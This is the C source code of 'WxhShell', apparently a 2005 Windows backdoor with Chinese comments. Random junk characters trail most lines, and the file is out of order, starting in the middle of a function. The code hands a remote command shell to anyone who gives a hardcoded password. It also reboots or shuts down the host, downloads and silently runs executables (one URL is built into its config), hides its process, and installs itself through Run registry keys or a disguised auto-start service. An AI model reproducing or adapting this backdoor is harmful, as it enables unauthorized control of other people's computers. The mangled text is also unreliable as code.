    if(Boot(SHUTDOWN)) #(53YoV_8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/bDDV"  
    else { lq$1CI  
    closesocket(wsh); gq6C6   
    ExitThread(0); *Bt`6u.>e,  
    } /AR;O4X+  
    break; q($lL~Ls  
    } JqO#W1h~R|  
  // 获取shell TIV1?S  
  case 's': { PZF>ia}  
    CmdShell(wsh); =De%]]>   
    closesocket(wsh); =>hq0F4[;  
    ExitThread(0); WG;1[o&  
    break; ?'K}bmdt}.  
  } ^ZFbp@#U  
  // 退出 ~4wbIE_r N  
  case 'x': { ;C%D+"l1g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZbYwuyHk(3  
    CloseIt(wsh); 1WPDMLuN  
    break; }`$:3mb&f  
    } aho;HM$hjP  
  // 离开 C9/?B:  
  case 'q': { 8kih81tx"U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qphN   
    closesocket(wsh); I~qS6#%r  
    WSACleanup(); ` BH8v  
    exit(1); -uiZp !  
    break; /'=C<HSO  
        } GG\]}UjX  
  } &G@*/2A  
  } SMQuJ_  
| zj$p~  
  // 提示信息 9oP8| <+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J?-"]s`J  
} F]W'spF,  
  } YF @'t~_Z  
!>/U6h,_  
  return; i6r%;ueLb  
} Xt /T0.I  
iLy }G7h  
// shell模块句柄 UUv&X+ Y  
int CmdShell(SOCKET sock) @3[Z Q F  
{ pCA(>(  
STARTUPINFO si; V5K!u8T  
ZeroMemory(&si,sizeof(si));  :XF;v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wn24eld"x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rcf_31 L  
PROCESS_INFORMATION ProcessInfo; W k'()N  
char cmdline[]="cmd"; :gb7Py'C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +J$[RxQ#  
  return 0; F5.Vhg  
} s_K:h  
[e ;K$  
// 自身启动模式 SMgf(N3]  
int StartFromService(void) XN]kNJX  
{ :SSe0ZZ_6b  
typedef struct J']1^"_'  
{ _C"W;n'  
  DWORD ExitStatus; IZ3w.:A  
  DWORD PebBaseAddress; Rs8`M8(4%  
  DWORD AffinityMask; D(}v`q{Y  
  DWORD BasePriority; npz*4\4  
  ULONG UniqueProcessId; suaTXKjyk+  
  ULONG InheritedFromUniqueProcessId; PR~ho&!  
}   PROCESS_BASIC_INFORMATION; uI-te~]  
"sf8~P9qy  
PROCNTQSIP NtQueryInformationProcess; rO 6oVz#x  
;04doub  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L]kSj$A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i+jSXn"_  
 F[115/  
  HANDLE             hProcess; ;hmy7M1%  
  PROCESS_BASIC_INFORMATION pbi; fT/;TK>z>  
2M= gpy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,/|"0$p2x  
  if(NULL == hInst ) return 0; Q9X_aB0  
GKtG#jZ&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $~50M5&K#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oh~J yrZy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bKmR &  
v%= G~kF}[  
  if (!NtQueryInformationProcess) return 0; A%oHx|PD  
a7nbGqsx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !iCY!:  
  if(!hProcess) return 0; A"#Gg7]tl'  
+Ld4 e]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zhKb|SV  
[st4FaQ36  
  CloseHandle(hProcess); (m=-oQ&Ro  
 MI!C%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sk$MJSE ~  
if(hProcess==NULL) return 0; yFshV\   
1'R]An BV  
HMODULE hMod; P$N\o@  
char procName[255]; RXb+"/   
unsigned long cbNeeded; %IW=[D6Tg  
M2[;b+W9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wvcG <sj  
C* b!E:  
  CloseHandle(hProcess); zy8W8h(?  
+I5@Gys  
if(strstr(procName,"services")) return 1; // 以服务启动 eL#pS=  
,S2D/Y^>  
  return 0; // 注册表启动 H{E223  
} d5\w'@Di  
c@~\ FUr  
// 主模块 7z)Hq./3@  
int StartWxhshell(LPSTR lpCmdLine) BE:HO^-.1  
{ ; GRSe  
  SOCKET wsl; #)tt}GX  
BOOL val=TRUE; 7*M+bZ`x  
  int port=0; ckBcwIXlP&  
  struct sockaddr_in door; xYRN~nr  
yK_$6EtNKj  
  if(wscfg.ws_autoins) Install(); Nqk*3Q"f  
-k|r#^(G2  
port=atoi(lpCmdLine); k!>MZ  
tVvRT*>Wb  
if(port<=0) port=wscfg.ws_port; g599Lc&  
vkOCyi?c  
  WSADATA data; x}i:nLhL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \&`S~cV9  
=m:xf&r#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B5~S&HQ?B6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0ym>Hbax)  
  door.sin_family = AF_INET; tz)aQ6p\X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R^<li;Km  
  door.sin_port = htons(port); CbVUz<  
MVs@~=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xJa  
closesocket(wsl); 0g,;Yzm  
return 1; cclx$)X1X  
} d0"Hu^]  
A/|To!R  
  if(listen(wsl,2) == INVALID_SOCKET) { c]v $C&FX  
closesocket(wsl); (xBS~}e  
return 1; |yx]TD{~P  
} h<f_Eo z-a  
  Wxhshell(wsl); D/'kYoAEO  
  WSACleanup(); #;)Oi9{9;  
>u ,Ac:  
return 0; xqs{d&W  
 ztKmB  
} 4%LGP h  
%YlL-*7 L  
// 以NT服务方式启动 L%}k.)yev  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "G].hKgbk*  
{ )pJ} $[6  
DWORD   status = 0; J70#pF  
  DWORD   specificError = 0xfffffff; (, /`*GC  
CH[U.LJQ-O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =J&vr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'X d_8.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s {p-cV  
  serviceStatus.dwWin32ExitCode     = 0; W,9. z%  
  serviceStatus.dwServiceSpecificExitCode = 0; SMY,bU'a  
  serviceStatus.dwCheckPoint       = 0; oDogM`T`  
  serviceStatus.dwWaitHint       = 0; RSC^R}a5  
NGcd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SU~t7Ta!G  
  if (hServiceStatusHandle==0) return; P$ZIKkf  
!K-lO{Z^  
status = GetLastError(); ~[l6;bn  
  if (status!=NO_ERROR) fb3(9  
{ 4{=zO(>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l\xcR]O  
    serviceStatus.dwCheckPoint       = 0; D1rXTI$$  
    serviceStatus.dwWaitHint       = 0; ;gLHSHEA  
    serviceStatus.dwWin32ExitCode     = status; ecDni>W  
    serviceStatus.dwServiceSpecificExitCode = specificError; V9&7K65-1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kU{+@MA;  
    return; @E;'Ffo  
  } XP'<\  
gBp,p\ Xc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OJ^kESrm8  
  serviceStatus.dwCheckPoint       = 0; K4~z@. G6*  
  serviceStatus.dwWaitHint       = 0; d7waBsf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^aYlu0Wm  
} kH/u]+_  
W/DSj :  
// 处理NT服务事件,比如:启动、停止 Y"6 '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3 eT5~Lbs  
{ `2-6Qv  
switch(fdwControl) h\| ~Q.kG  
{ ^YG'p?r.s  
case SERVICE_CONTROL_STOP: (k/[/`3ST  
  serviceStatus.dwWin32ExitCode = 0; U l8G R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v|fA)W w  
  serviceStatus.dwCheckPoint   = 0; ;,2i1m0"  
  serviceStatus.dwWaitHint     = 0; v;m`d{(i2  
  { o81RD#>E)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fy]z<SPhVJ  
  } Wi7!J[ B  
  return; ~Cc%!4f'  
case SERVICE_CONTROL_PAUSE: h,%`*Qg6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9 Rl-Jz8g  
  break; B=14 hY@`  
case SERVICE_CONTROL_CONTINUE: 011 N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DQ%bcXs  
  break; [hzw..?g  
case SERVICE_CONTROL_INTERROGATE: `W>cA64 o  
  break; )aSj!X'`;  
}; .)=T1^[hI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jB) RvvMU5  
} *nS}1(u]  
a7$-gW"Z(,  
// 标准应用程序主函数 (zbV-4C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BNi6I\wa  
{ 7Z%EXDm4/c  
}_Y&kaM  
// 获取操作系统版本 m8M2ka  
OsIsNt=GetOsVer(); = VIU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); stGk*\>U'  
?R-4uG[(  
  // 从命令行安装 QguRU|y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7`eg;s^  
(<GBhNj=c  
  // 下载执行文件 B|9[DNd  
if(wscfg.ws_downexe) { W5i{W'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p>M8:,  
  WinExec(wscfg.ws_filenam,SW_HIDE); m\*;Fx  
} <MK4# I1I  
+vf~s^  
if(!OsIsNt) { ;OC~,?O5  
// 如果时win9x,隐藏进程并且设置为注册表启动 oZ]^zzoEcg  
HideProc(); Z4ekBdmCL  
StartWxhshell(lpCmdLine); (F=/r] Q  
} A-"2sp*t  
else VT ikLuH  
  if(StartFromService()) YQ? "~[mL  
  // 以服务方式启动 ycD.X"  
  StartServiceCtrlDispatcher(DispatchTable); 9 +1}8"~  
else e^!>W %.7Z  
  // 普通方式启动 FYBW3y+AF&  
  StartWxhshell(lpCmdLine); I{nrOb1G(  
>wSrllmj@  
return 0; ! 2=m |,  
} ]?p 9)d=%<  
MS5X#B  
Yt]Y(  
d.e_\]o<@  
=========================================== N[=c|frho  
K&"ZZFd_  
gh9Gc1tKt  
Pzt 5'O@dA  
\9t/*%:  
idzc4jR6BT  
" fEJF3<UF&  
y':JUwUN  
#include <stdio.h> E+Eug{+  
#include <string.h> WRCf [5  
#include <windows.h> a~*wZJ  
#include <winsock2.h> .@KI,_X6,  
#include <winsvc.h> oaac.7.fV  
#include <urlmon.h> Jb;@'o6  
7&`Yl[G  
#pragma comment (lib, "Ws2_32.lib") c`Q#4e]%_  
#pragma comment (lib, "urlmon.lib") z(!K8 T  
O'rz  
#define MAX_USER   100 // 最大客户端连接数 ,gO(zI-1  
#define BUF_SOCK   200 // sock buffer O[Yc-4  
#define KEY_BUFF   255 // 输入 buffer F_I.=zQr  
jjT)3 c:J[  
#define REBOOT     0   // 重启 qs$w9I  
#define SHUTDOWN   1   // 关机 5M v<8P~  
QZwZ4$jkiO  
#define DEF_PORT   5000 // 监听端口 tkIpeL[d  
+b sc3  
#define REG_LEN     16   // 注册表键长度 pQ,|l$^m  
#define SVC_LEN     80   // NT服务名长度 W?H-Ng3E  
f7_V ]  
// 从dll定义API 9P1!<6mN\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :pJK Z2B,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T)#e=WcP]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `g+Kv&546  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4e20\q_{  
50`=[l`V  
// wxhshell配置信息 zI7iZ"2a  
struct WSCFG { Um~DA  
  int ws_port;         // 监听端口 BMdcW MYU\  
  char ws_passstr[REG_LEN]; // 口令 he! Uq%e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'ZFbyt Q2  
  char ws_regname[REG_LEN]; // 注册表键名 <SKzCp\  
  char ws_svcname[REG_LEN]; // 服务名 6DuA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'z9}I #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dKpUw9C#/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xLShMv}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +\x}1bNS%j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $y_P14  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2{|mL`$04<  
C2;Hugm4  
}; Y3.^a5o  
jdf3XTw  
// default Wxhshell configuration 3D-VePM=`  
struct WSCFG wscfg={DEF_PORT, &gdhq~4#  
    "xuhuanlingzhe", 7Z< 2`&c7  
    1, 2n3!p Z8  
    "Wxhshell", s}lp^Uh=  
    "Wxhshell", +.J/7 gD  
            "WxhShell Service", `f<&=_,xfH  
    "Wrsky Windows CmdShell Service", 3f-J%!aH  
    "Please Input Your Password: ",  myOdf'=  
  1, ;q33t% j  
  "http://www.wrsky.com/wxhshell.exe", E#n=aY~u-  
  "Wxhshell.exe" /?%1;s:'  
    }; *v#Z/RrrA  
{d '>J<Da  
// 消息定义模块 VQ7A"&hh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rI#,FZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cU_:l.b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; duV\Kt/g^  
char *msg_ws_ext="\n\rExit."; 4?33t] "  
char *msg_ws_end="\n\rQuit."; HSj=g}r  
char *msg_ws_boot="\n\rReboot..."; '/F%  ff  
char *msg_ws_poff="\n\rShutdown..."; 2-dEie/{'  
char *msg_ws_down="\n\rSave to "; ja&S^B^@  
/5Tp)h|  
char *msg_ws_err="\n\rErr!"; PiJ >gDx  
char *msg_ws_ok="\n\rOK!"; \C kb:  
M@=VIrX,m  
char ExeFile[MAX_PATH]; _/z3QG{Ea^  
int nUser = 0; Hrg -5_  
HANDLE handles[MAX_USER]; 19;Pjo8  
int OsIsNt; ==npFjB  
('6sW/F*ab  
SERVICE_STATUS       serviceStatus; rqTsKrLe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IFbN ]N0  
@MxB d,P  
// 函数声明 &PUn,9 Rm  
int Install(void); gaU(ebsE  
int Uninstall(void); iE#I^`^V  
int DownloadFile(char *sURL, SOCKET wsh); ;m~%57.;\  
int Boot(int flag); ipD/dx.  
void HideProc(void); Ay|K>8z   
int GetOsVer(void); ]$)U~)T iW  
int Wxhshell(SOCKET wsl); =gAn;~  
void TalkWithClient(void *cs); dmYgv^t  
int CmdShell(SOCKET sock); Z#zXary5s  
int StartFromService(void); 5}4>vEn  
int StartWxhshell(LPSTR lpCmdLine); Ey&gZ$|&  
oAF#bj_f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3vj 1FbY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _F`RwBOjs  
X\1.,]O >  
// 数据结构和表定义 8X# \T/U  
SERVICE_TABLE_ENTRY DispatchTable[] = \# _w=gs<i  
{ AvcN,  
{wscfg.ws_svcname, NTServiceMain}, IoCi(N;  
{NULL, NULL} | $D`*  
}; ;<H\{w@D  
ki ?ETC  
// 自我安装 9+!"[  
int Install(void) lpnPd{kE  
{ BM[jF=0  
  char svExeFile[MAX_PATH]; ' 1D1y'  
  HKEY key; 7e=s`j  
  strcpy(svExeFile,ExeFile); rLE5fl5W  
5@^['S4%8*  
// 如果是win9x系统,修改注册表设为自启动 C/ENJ&  
if(!OsIsNt) { $q g/8G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jg3T1ROL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j4+kL4M@H  
  RegCloseKey(key); xeW}`i5_w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f,VJfY?#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^7QiTt_  
  RegCloseKey(key); ]5+<Rqdbg  
  return 0; <|;)iT1VeT  
    } pwmH(94$0  
  } -Q" N;&'[&  
} MNocXK  
else { QFU1l"(qGk  
?@H/;hB[|  
// 如果是NT以上系统,安装为系统服务 y\mK?eR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z+]YB5zK%  
if (schSCManager!=0) ok/{ w  
{ #T08H,W/  
  SC_HANDLE schService = CreateService QBLha']'%  
  ( O"emse}Z  
  schSCManager, 'a=' (,%  
  wscfg.ws_svcname, C%Fc%}[  
  wscfg.ws_svcdisp, PDhoCAh !  
  SERVICE_ALL_ACCESS, I*0TI@Lo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *eAzk2  
  SERVICE_AUTO_START, .$-GGvN]  
  SERVICE_ERROR_NORMAL, C/YjMYwKgv  
  svExeFile, kmM- >v  
  NULL, Cn.x:I@r  
  NULL, :ywm4)  
  NULL, kZNVUhW6S  
  NULL, x%%OgO +>  
  NULL ^gY3))2_  
  ); u%AyW  
  if (schService!=0) b 2XUZ5  
  { ,2]a<0m  
  CloseServiceHandle(schService); Qn`Fq,uvL  
  CloseServiceHandle(schSCManager); v|wO qS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .NT9dX  
  strcat(svExeFile,wscfg.ws_svcname); -$o4WSd~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5?-@}PL!Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PLhlbzcf  
  RegCloseKey(key); d7qYz7=d  
  return 0; /XXy!=1J  
    } k/ hNap'0  
  } %Iv*u sXP  
  CloseServiceHandle(schSCManager); /yFs$t >9  
} 66|$X,  
} C]NL9Gq`  
|WsB0R  
return 1; \pVWYx  
} yc.9CTxx  
18o5Gs;yx  
// 自我卸载 'L8B"5|>  
int Uninstall(void) /7uA f{  
{ a G\  
  HKEY key; 2)(ynrCe  
Y *n[*N  
if(!OsIsNt) { +K7oyZg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v_I)eac z  
  RegDeleteValue(key,wscfg.ws_regname); /s "Lsbe  
  RegCloseKey(key); S(Q=2Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qb?e A  
  RegDeleteValue(key,wscfg.ws_regname); st wxF?\NS  
  RegCloseKey(key); 1hW"#>f7  
  return 0; M7\yEi"*  
  } MT{ovDA].  
} yR[htD`  
} d'2q~   
else {  _!E)a  
/Bp5^(s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^e(*{K;8  
if (schSCManager!=0) 5?XIp6%x  
{ +|zcjI'=O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,O`~ D~$  
  if (schService!=0) nP#|JRn=  
  { >WmT M0  
  if(DeleteService(schService)!=0) { 8 EUc 6  
  CloseServiceHandle(schService); pvYBhTz0  
  CloseServiceHandle(schSCManager); 67A g.f6-  
  return 0; Z&Xp9"j,@;  
  } WFG`-8_e[I  
  CloseServiceHandle(schService); (X~JTH:e/  
  } z65Q"A  
  CloseServiceHandle(schSCManager); vY2^*3\<D  
} 69$gPY'3  
} y8$I=  
`} S; _g!  
return 1; 9_xJT^10  
} Xsd+5="{N  
u:M)JG  
// 从指定url下载文件 s_%KWkS  
int DownloadFile(char *sURL, SOCKET wsh) uc]`^,`2/  
{ bz|-x"qk  
  HRESULT hr; dT'd C  
char seps[]= "/"; ?XB[awTD~  
char *token; R_2T"  
char *file; H& !?c5  
char myURL[MAX_PATH]; =pd#U  
char myFILE[MAX_PATH];  giORc  
0YO/G1O&  
strcpy(myURL,sURL); Sd+bnq%  
  token=strtok(myURL,seps); ^]X\boWlI  
  while(token!=NULL) '?uwUBi  
  { rObg:(z&\  
    file=token; qaiR329fx  
  token=strtok(NULL,seps); ,_z"3B)]  
  } ]i Yp  
#H.DnW  
GetCurrentDirectory(MAX_PATH,myFILE); A^vvw~!d  
strcat(myFILE, "\\"); T&+y~c[au  
strcat(myFILE, file); 36UUt!}p  
  send(wsh,myFILE,strlen(myFILE),0); %![3?|8~  
send(wsh,"...",3,0); T,/:5L9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =:_DXGW2H  
  if(hr==S_OK) 0[.T`tpN'  
return 0; ^0HgE;4  
else lw=!v%L  
return 1; 2`U+ !  
D+"+m%^>C  
} v4vIcHDs  
X ;Cl8  
// 系统电源模块 uYCWsw/  
int Boot(int flag) x&*2R#Ai  
{ og`K! d~  
  HANDLE hToken; xl ,(=L]  
  TOKEN_PRIVILEGES tkp; W]I+Rlv)U  
Wgb L9'}B  
  if(OsIsNt) { @G^m+-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hv-f :P O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p mUG`8SY  
    tkp.PrivilegeCount = 1; hw2Sb,bY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T!N v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jJyS^*.X  
if(flag==REBOOT) { )8%m|v#W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nd~O*-uYg  
  return 0; S#*aB2ZS  
} M`p[ Zq  
else {  w\y)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <op|yh3Jkk  
  return 0; b=XXp`h~a  
} q aG8:  
  } dy3fZ(=q^  
  else { gN .n _!  
if(flag==REBOOT) { c' Q4Fzj0'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) om2)Cd9~7  
  return 0; tL]T_]z  
} d~#:t~ $,  
else { ;k (M4?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @ RP?)*8}&  
  return 0; @:t2mz:^i  
} 2 2@w:  
} n;e.N:p  
WSbD."p<  
return 1; [oOV@GE  
} a/xnf<(H  
N#GMvU#R  
// win9x进程隐藏模块 5#~E[dr  
void HideProc(void) <-"[9 w  
{ w+gPU1|(r  
={\9-JJhE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4 }NCdGD  
  if ( hKernel != NULL ) Qrw:Bva)  
  { tHV+#3h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f&!{o=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |: pBk:  
    FreeLibrary(hKernel); <&l@ ):a  
  } Y_/w}HB  
uZa)N-=b2  
return; ht2J, 1t  
} }aL&3[>>  
(BGflb  
// 获取操作系统版本 SW7AG;c=  
int GetOsVer(void) UB w*}p  
{ ny1Dg$u i2  
  OSVERSIONINFO winfo; ]h'*L`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @3`Pq2<  
  GetVersionEx(&winfo); %xdyG Al:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WHcw5_3#  
  return 1; v;(k7  
  else =>L2~>[  
  return 0; UN|S!&C$  
} xM$AhH  
qVE <voB8  
// 客户端句柄模块 R|[gEavFl  
int Wxhshell(SOCKET wsl) cH6J:0>W  
{ !:Ob3Mq\  
  SOCKET wsh; *iJ>@ vew  
  struct sockaddr_in client; Z@0IvI  
  DWORD myID; ZhFlR*EQ  
X'p%K/-m  
  while(nUser<MAX_USER) .V@3zzv\  
{ P52qtN<  
  int nSize=sizeof(client); #9t3<H[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FiKGB\_]  
  if(wsh==INVALID_SOCKET) return 1; |Q$Dj!!1P  
bzh:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )!Zm*(  
if(handles[nUser]==0) lsU`~3nr  
  closesocket(wsh); { a_&L  
else i93^E~q]  
  nUser++; |eqp3@Y1E  
  } |y4j:`@.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /L=Y8tDt  
as"@E>a  
  return 0; @b{$s  
} wZt2%+$6m  
\hP.Q;"MtO  
// 关闭 socket 2FQTu*p&B  
void CloseIt(SOCKET wsh) >aT~ G!y  
{ JZ/T:Hsh4  
closesocket(wsh); *fI\|%K  
nUser--; n( zzH  
ExitThread(0); t@jke  
} )H+p6<  
W4=A.2[q  
// 客户端请求句柄 JhvT+"~  
void TalkWithClient(void *cs)  tk+4noA  
{ Wa9yyc  
W!JEl|]  
  SOCKET wsh=(SOCKET)cs; %v[KLMo'(  
  char pwd[SVC_LEN]; 9>= S@hVMd  
  char cmd[KEY_BUFF]; @[bFlqs E  
char chr[1]; |}Z2YDwO/  
int i,j; 4jW <*jM  
KgXu x-q  
  while (nUser < MAX_USER) { .f`KP!p.  
"Iacs s0;  
if(wscfg.ws_passstr) { V!QC.D<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d'[q2y?6N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z\>ZgRi~n  
  //ZeroMemory(pwd,KEY_BUFF); Gm=e;X;r  
      i=0; \ lK `  
  while(i<SVC_LEN) { G,6 i!M  
/]2I%Q  
  // 设置超时 |d=GAW v  
  fd_set FdRead; 4ULdf|oP"  
  struct timeval TimeOut; &3:<WU:U  
  FD_ZERO(&FdRead); =oTj3+7  
  FD_SET(wsh,&FdRead); fDAT#nlyp  
  TimeOut.tv_sec=8; 6ipQx/IQ  
  TimeOut.tv_usec=0; ~-'-<-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gSkY c{b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wI?AZd;`'  
:VE0eJ]J6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); );{76  
  pwd=chr[0]; ;#=y5Q4  
  if(chr[0]==0xd || chr[0]==0xa) { '`j MNKn\  
  pwd=0; OV`li#H  
  break; J:G{  
  } W&7(  
  i++; goc; .~?  
    } eQ<G Nvm  
.M0pb^M  
  // 如果是非法用户,关闭 socket bSa]={}L(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <tdsUh:?&  
} l0eh}d  
k=9k4l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2yVQqwQ m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (V0KmNCW`  
t:n$9WB)  
while(1) { ,fvhP $n  
s1p<F,  
  ZeroMemory(cmd,KEY_BUFF); n>xuef   
iB+ _+A  
      // 自动支持客户端 telnet标准   @>+`1C  
  j=0; 5m\)82s  
  while(j<KEY_BUFF) { 5>h/LE]"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "8E=*2fcw  
  cmd[j]=chr[0]; =.qPjp_Qd  
  if(chr[0]==0xa || chr[0]==0xd) { !\\OMAf7  
  cmd[j]=0; *!yA'z<  
  break; j|@8VxZ  
  } 6O"y  
  j++; : :928y  
    } (&M,rW~Qxs  
g`4WisL1n  
  // 下载文件 dw'P =8d  
  if(strstr(cmd,"http://")) { \_7'f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kArF Gb2c  
  if(DownloadFile(cmd,wsh)) O;.DQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " "S&zN  
  else B5[As8Sa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YD#L@:&gv  
  } f;!L\$yKy  
  else { (^m~UN2@~m  
